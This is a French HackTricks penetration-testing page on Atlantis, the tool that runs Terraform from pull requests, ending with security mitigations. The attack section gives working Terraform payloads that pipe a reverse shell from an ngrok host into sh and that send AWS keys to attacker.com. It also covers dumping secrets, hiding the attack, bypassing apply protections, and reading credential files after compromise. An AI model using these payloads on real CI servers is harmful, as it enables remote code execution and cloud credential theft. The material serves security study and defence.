Atlantis Security

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)!

Autres façons de soutenir HackTricks :

Informations de base

Atlantis vous aide essentiellement à exécuter Terraform à partir des demandes de tirage de votre serveur git.

Laboratoire local

  1. Allez sur la page des versions d'atlantis à https://github.com/runatlantis/atlantis/releases et téléchargez celle qui vous convient.

  2. Créez un jeton personnel (avec accès au dépôt) de votre utilisateur github

  3. Exécutez ./atlantis testdrive et il créera un dépôt de démonstration que vous pouvez utiliser pour communiquer avec atlantis

  4. Vous pouvez accéder à la page web à 127.0.0.1:4141

Accès Atlantis

Informations d'identification du serveur Git

Atlantis prend en charge plusieurs hôtes git tels que Github, Gitlab, Bitbucket et Azure DevOps. Cependant, pour accéder aux dépôts sur ces plateformes et effectuer des actions, il doit disposer de certains accès privilégiés qui lui sont accordés (au moins des autorisations d'écriture). La documentation encourage à créer un utilisateur spécifiquement pour Atlantis sur ces plateformes, mais certaines personnes pourraient utiliser des comptes personnels.

Dans tous les cas, du point de vue d'un attaquant, le compte Atlantis va être très intéressant à compromettre.

Webhooks

Atlantis utilise facultativement des secrets de webhook pour valider que les webhooks qu'il reçoit de votre hôte Git sont légitimes.

Une façon de confirmer cela serait de autoriser les requêtes à venir uniquement des IPs de votre hôte Git, mais une manière plus simple est d'utiliser un Secret de Webhook.

Notez que sauf si vous utilisez un serveur github ou bitbucket privé, vous devrez exposer les points de terminaison de webhook à Internet.

Atlantis va exposer des webhooks pour que le serveur git puisse lui envoyer des informations. Du point de vue d'un attaquant, il serait intéressant de savoir si vous pouvez lui envoyer des messages.

Informations d'identification du fournisseur

De la documentation :

Atlantis exécute Terraform en simplement exécutant les commandes terraform plan et apply sur le serveur sur lequel Atlantis est hébergé. Tout comme lorsque vous exécutez Terraform localement, Atlantis a besoin des informations d'identification pour votre fournisseur spécifique.

C'est à vous de décider comment vous fournissez les informations d'identification pour votre fournisseur spécifique à Atlantis :

  • Le Chart Helm d'Atlantis et le Module AWS Fargate ont leurs propres mécanismes pour les informations d'identification du fournisseur. Consultez leur documentation.

  • Si vous exécutez Atlantis dans un cloud, de nombreux clouds ont des moyens de donner accès à l'API cloud aux applications qui y sont exécutées, par exemple :

  • Rôles EC2 AWS (Recherchez "Rôle EC2")

  • De nombreux utilisateurs définissent des variables d'environnement, par exemple AWS_ACCESS_KEY, là où Atlantis s'exécute.

  • D'autres créent les fichiers de configuration nécessaires, par exemple ~/.aws/credentials, là où Atlantis s'exécute.

  • Utilisez le Fournisseur HashiCorp Vault pour obtenir les informations d'identification du fournisseur.

Le conteneurAtlantis est exécuté contiendra très probablement des informations d'identification privilégiées pour les fournisseurs (AWS, GCP, Github...) que Atlantis gère via Terraform.

Page Web

Par défaut, Atlantis exécutera une page web sur le port 4141 en localhost. Cette page vous permet simplement d'activer/désactiver l'application d'atlantis et de vérifier l'état du plan des dépôts et de les déverrouiller (elle ne permet pas de modifier les choses, donc elle n'est pas très utile).

Vous ne la trouverez probablement pas exposée à Internet, mais il semble qu'en général, aucune identification n'est nécessaire pour y accéder (et si c'est le cas, atlantis:atlantis sont les identifiants par défaut).

Configuration du serveur

La configuration du serveur atlantis peut être spécifiée via des indicateurs en ligne de commande, des variables d'environnement, un fichier de configuration ou une combinaison des trois.

Les valeurs sont choisies dans cet ordre :

  1. Indicateurs

  2. Variables d'environnement

  3. Fichier de configuration

Notez que dans la configuration, vous pourriez trouver des valeurs intéressantes telles que des jetons et des mots de passe.

Configuration des dépôts

Certaines configurations affectent la manière dont les dépôts sont gérés. Cependant, il est possible que chaque dépôt nécessite des paramètres différents, il existe donc des moyens de spécifier chaque dépôt. Voici l'ordre de priorité :

  1. Fichier /atlantis.yml du dépôt. Ce fichier peut être utilisé pour spécifier comment atlantis doit traiter le dépôt. Cependant, par défaut, certaines clés ne peuvent pas être spécifiées ici sans certains indicateurs le permettant.

  2. Probablement nécessaire d'être autorisé par des indicateurs comme allowed_overrides ou allow_custom_workflows

  3. Configuration côté serveur : Vous pouvez le passer avec l'indicateur --repo-config et c'est un yaml configurant de nouveaux paramètres pour chaque dépôt (expressions régulières prises en charge)

  4. Valeurs par défaut

Protections des PR

Atlantis permet d'indiquer si vous souhaitez que la PR soit approuvée par quelqu'un d'autre (même si cela n'est pas défini dans la protection de la branche) et/ou soit fusionnable (protections de branche passées) avant d'exécuter apply. D'un point de vue sécurité, il est recommandé de définir les deux options.

Dans le cas où allowed_overrides est True, ces paramètres peuvent être remplacés sur chaque projet par le fichier /atlantis.yml.

Scripts

La configuration du dépôt peut spécifier des scripts à exécuter avant (hooks pré-workflow) et après (hooks post-workflow) l'exécution d'un workflow.

Il n'y a pas d'option permettant de spécifier ces scripts dans le fichier /atlantis.yml du dépôt.

Workflow

Dans la configuration du dépôt (configuration côté serveur), vous pouvez spécifier un nouveau workflow par défaut, ou créer de nouveaux workflows personnalisés. Vous pouvez également spécifier quels dépôts peuvent accéder aux nouveaux workflows générés. Ensuite, vous pouvez autoriser le fichier atlantis.yaml de chaque dépôt à spécifier le workflow à utiliser.

Si le drapeau de configuration côté serveur allow_custom_workflows est défini sur True, les workflows peuvent être spécifiés dans le fichier atlantis.yaml de chaque dépôt. Il peut également être nécessaire que allowed_overrides spécifie également workflow pour remplacer le workflow qui va être utilisé. Cela donnera essentiellement une RCE dans le serveur Atlantis à tout utilisateur pouvant accéder à ce dépôt.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Vérification des politiques Conftest

Atlantis prend en charge l'exécution des politiques conftest côté serveur sur la sortie du plan. Les cas d'utilisation courants pour l'utilisation de cette étape incluent :

  • Refuser l'utilisation d'une liste de modules

  • Affirmer les attributs d'une ressource au moment de sa création

  • Attraper les suppressions de ressources involontaires

  • Prévenir les risques de sécurité (c'est-à-dire exposer des ports sécurisés au public)

Vous pouvez vérifier comment le configurer dans la documentation.

Commandes Atlantis

Dans la documentation, vous pouvez trouver les options que vous pouvez utiliser pour exécuter Atlantis :

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Attaques

Si lors de l'exploitation vous rencontrez cette erreur : Error: Error acquiring the state lock

Vous pouvez la corriger en exécutant :

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Plan RCE d'Atlantis - Modification de la configuration dans une nouvelle PR

Si vous avez un accès en écriture sur un dépôt, vous pourrez créer une nouvelle branche et générer une PR. Si vous pouvez exécuter atlantis plan (ou peut-être qu'il est exécuté automatiquement), vous pourrez exécuter du code à distance (RCE) à l'intérieur du serveur Atlantis.

Vous pouvez le faire en faisant charger à Atlantis une source de données externe. Il suffit de mettre une charge utile comme celle-ci dans le fichier main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Attaque plus discrète

Vous pouvez effectuer cette attaque de manière encore plus discrète, en suivant ces suggestions :

  • Au lieu d'ajouter directement le shell inversé dans le fichier terraform, vous pouvez charger une ressource externe contenant le shell inversé :

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Vous pouvez trouver le code de rev shell dans https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Dans la ressource externe, utilisez la fonction ref pour masquer le code de rev shell terraform dans une branche à l'intérieur du dépôt, quelque chose comme : git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

  • Au lieu de créer une PR vers master pour déclencher Atlantis, créez 2 branches (test1 et test2) et créez une PR de l'une vers l'autre. Lorsque vous avez terminé l'attaque, supprimez simplement la PR et les branches.

Atlantis plan Secrets Dump

Vous pouvez extraire les secrets utilisés par terraform en exécutant atlantis plan (terraform plan) en ajoutant quelque chose comme ceci dans le fichier terraform :

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis appliquer RCE - Modification de la configuration dans une nouvelle PR

Si vous avez un accès en écriture sur un dépôt, vous pourrez créer une nouvelle branche et générer une PR. Si vous pouvez exécuter atlantis apply, vous pourrez exécuter une RCE à l'intérieur du serveur Atlantis.

Cependant, vous devrez généralement contourner certaines protections :

  • Fusionnable : Si cette protection est activée dans Atlantis, vous ne pourrez exécuter atlantis apply que si la PR est fusionnable (ce qui signifie que la protection de la branche doit être contournée).

  • Approuvé : Si cette protection est activée dans Atlantis, un autre utilisateur doit approuver la PR avant que vous puissiez exécuter atlantis apply

  • Par défaut, vous pouvez abuser du jeton Gitbot pour contourner cette protection

Exécuter terraform apply sur un fichier Terraform malveillant avec local-exec. Assurez-vous simplement qu'une charge utile comme celles ci-dessous se termine dans le fichier main.tf :

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Suivez les suggestions de la technique précédente pour effectuer cette attaque de manière plus discrète.

Injection de Paramètres Terraform

Lors de l'exécution de atlantis plan ou atlantis apply, terraform est exécuté en arrière-plan, vous pouvez transmettre des commandes à terraform depuis atlantis en commentant quelque chose comme suit :

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Workflow Personnalisé

Exécuter des commandes de construction personnalisées malveillantes spécifiées dans un fichier atlantis.yaml. Atlantis utilise le fichier atlantis.yaml de la branche de la demande de tirage, pas de master. Cette possibilité a été mentionnée dans une section précédente:

Si le drapeau de configuration côté serveur server side config est défini sur True, les workflows peuvent être spécifiés dans le fichier atlantis.yaml de chaque dépôt. Il est également potentiellement nécessaire que allowed_overrides spécifie également workflow pour remplacer le workflow qui va être utilisé.

Cela donnera essentiellement une RCE dans le serveur Atlantis à tout utilisateur pouvant accéder à ce dépôt.

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Contourner les protections plan/apply

Si le drapeau de configuration côté serveur allowed_overrides a apply_requirements configuré, il est possible pour un dépôt de modifier les protections plan/apply pour les contourner.

repos:
- id: /.*/
apply_requirements: []

Piratage de PR

Si quelqu'un envoie des commentaires atlantis plan/apply sur vos pull requests valides, cela provoquera l'exécution de terraform lorsque vous ne le souhaitez pas.

De plus, si vous n'avez pas configuré dans la protection de branche pour demander de réévaluer chaque PR lorsqu'un nouveau commit est poussé dessus, quelqu'un pourrait écrire des configurations malveillantes (vérifiez les scénarios précédents) dans la configuration terraform, exécuter atlantis plan/apply et obtenir une RCE.

Voici le paramètre dans les protections de branche de Github:

Secret de Webhook

Si vous parvenez à voler le secret de webhook utilisé ou s'il n'y a pas de secret de webhook utilisé, vous pourriez appeler le webhook Atlantis et invoquer directement les commandes atlantis.

Bitbucket

Bitbucket Cloud ne prend pas en charge les secrets de webhook. Cela pourrait permettre aux attaquants de usurper des requêtes de Bitbucket. Assurez-vous de n'autoriser que les adresses IP de Bitbucket.

  • Cela signifie qu'un attaquant pourrait envoyer des fausses requêtes à Atlantis qui semblent provenir de Bitbucket.

  • Si vous spécifiez --repo-allowlist, ils pourraient uniquement envoyer de fausses requêtes concernant ces dépôts, donc le plus de dégâts qu'ils pourraient causer serait de planifier/appliquer sur vos propres dépôts.

  • Pour éviter cela, autorisez la liste blanche des adresses IP de Bitbucket (voir Adresses IPv4 sortantes).

Post-Exploitation

Si vous parvenez à accéder au serveur ou au moins si vous avez un LFI, voici quelques choses intéressantes que vous devriez essayer de lire:

  • /home/atlantis/.git-credentials Contient des identifiants d'accès au VCS

  • /atlantis-data/atlantis.db Contient des identifiants d'accès au VCS avec plus d'informations

  • /atlantis-data/repos/<nom_org>/<nom_repo>/<num_pr>/<espace_de_travail>/<chemin_vers_dossier>/.terraform/terraform.tfstate Fichier d'état Terraform

  • Exemple : /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

  • /proc/1/environ Variables d'environnement

  • /proc/[2-20]/cmdline Ligne de commande de atlantis server (peut contenir des données sensibles)

Atténuations

Ne pas Utiliser Sur des Dépôts Publics

Parce que n'importe qui peut commenter sur des pull requests publics, même avec toutes les atténuations de sécurité disponibles, il est toujours dangereux d'exécuter Atlantis sur des dépôts publics sans une configuration appropriée des paramètres de sécurité.

Ne pas Utiliser --allow-fork-prs

Si vous exécutez sur un dépôt public (ce qui n'est pas recommandé, voir ci-dessus), vous ne devriez pas définir --allow-fork-prs (par défaut à false) car n'importe qui peut ouvrir une pull request depuis leur fork vers votre dépôt.

--repo-allowlist

Atlantis vous oblige à spécifier une liste blanche des dépôts à partir desquels il acceptera les webhooks via le drapeau --repo-allowlist. Par exemple:

  • Dépôts spécifiques : --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

  • Toute votre organisation : --repo-allowlist=github.com/runatlantis/*

  • Tous les dépôts de votre installation GitHub Enterprise : --repo-allowlist=github.yourcompany.com/*

  • Tous les dépôts : --repo-allowlist=*. Utile lorsque vous êtes dans un réseau protégé mais dangereux sans définir également un secret de webhook.

Ce drapeau garantit que votre installation Atlantis n'est pas utilisée avec des dépôts que vous ne contrôlez pas. Consultez atlantis server --help pour plus de détails.

Protéger la Planification Terraform

Si les attaquants soumettent des pull requests avec du code Terraform malveillant dans votre modèle de menace, vous devez savoir que les approbations terraform apply ne suffisent pas. Il est possible d'exécuter du code malveillant dans un terraform plan en utilisant la source de données external ou en spécifiant un fournisseur malveillant. Ce code pourrait ensuite exfiltrer vos identifiants.

Pour prévenir cela, vous pourriez :

  1. Intégrer les fournisseurs dans l'image Atlantis ou l'hôte et refuser la sortie en production.

  2. Mettre en œuvre le protocole du registre des fournisseurs en interne et refuser la sortie publique, de sorte que vous contrôliez qui a un accès en écriture au registre.

  3. Modifier l'étape plan de votre configuration de dépôt côté serveur pour valider l'utilisation de fournisseurs ou de sources de données interdits ou des PR de utilisateurs non autorisés. Vous pourriez également ajouter une validation supplémentaire à ce stade, par exemple en exigeant un "thumbs-up" sur la PR avant de permettre la poursuite du plan. Conftest pourrait être utile ici.

Secrets de Webhook

Atlantis doit être exécuté avec des secrets de webhook définis via les variables d'environnement $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Même avec le drapeau --repo-allowlist défini, sans secret de webhook, les attaquants pourraient envoyer des requêtes à Atlantis en se faisant passer pour un dépôt autorisé. Les secrets de webhook garantissent que les requêtes de webhook proviennent réellement de votre fournisseur de VCS (GitHub ou GitLab).

Si vous utilisez Azure DevOps, au lieu de secrets de webhook, ajoutez un nom d'utilisateur et un mot de passe de base.

Authentification de Base Azure DevOps

Azure DevOps prend en charge l'envoi d'un en-tête d'authentification de base dans tous les événements de webhook. Cela nécessite d'utiliser une URL HTTPS pour l'emplacement de votre webhook.

SSL/HTTPS

Si vous utilisez des secrets de webhook mais que votre trafic est en HTTP, les secrets de webhook pourraient être volés. Activez SSL/HTTPS en utilisant les drapeaux --ssl-cert-file et --ssl-key-file.

Activer l'Authentification sur le Serveur Web Atlantis

Il est fortement recommandé d'activer l'authentification dans le service web. Activez BasicAuth en utilisant --web-basic-auth=true et configurez un nom d'utilisateur et un mot de passe en utilisant les drapeaux --web-username=yourUsername et --web-password=yourPassword.

Vous pouvez également passer ces informations en tant que variables d'environnement ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername et ATLANTIS_WEB_PASSWORD=yourPassword.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour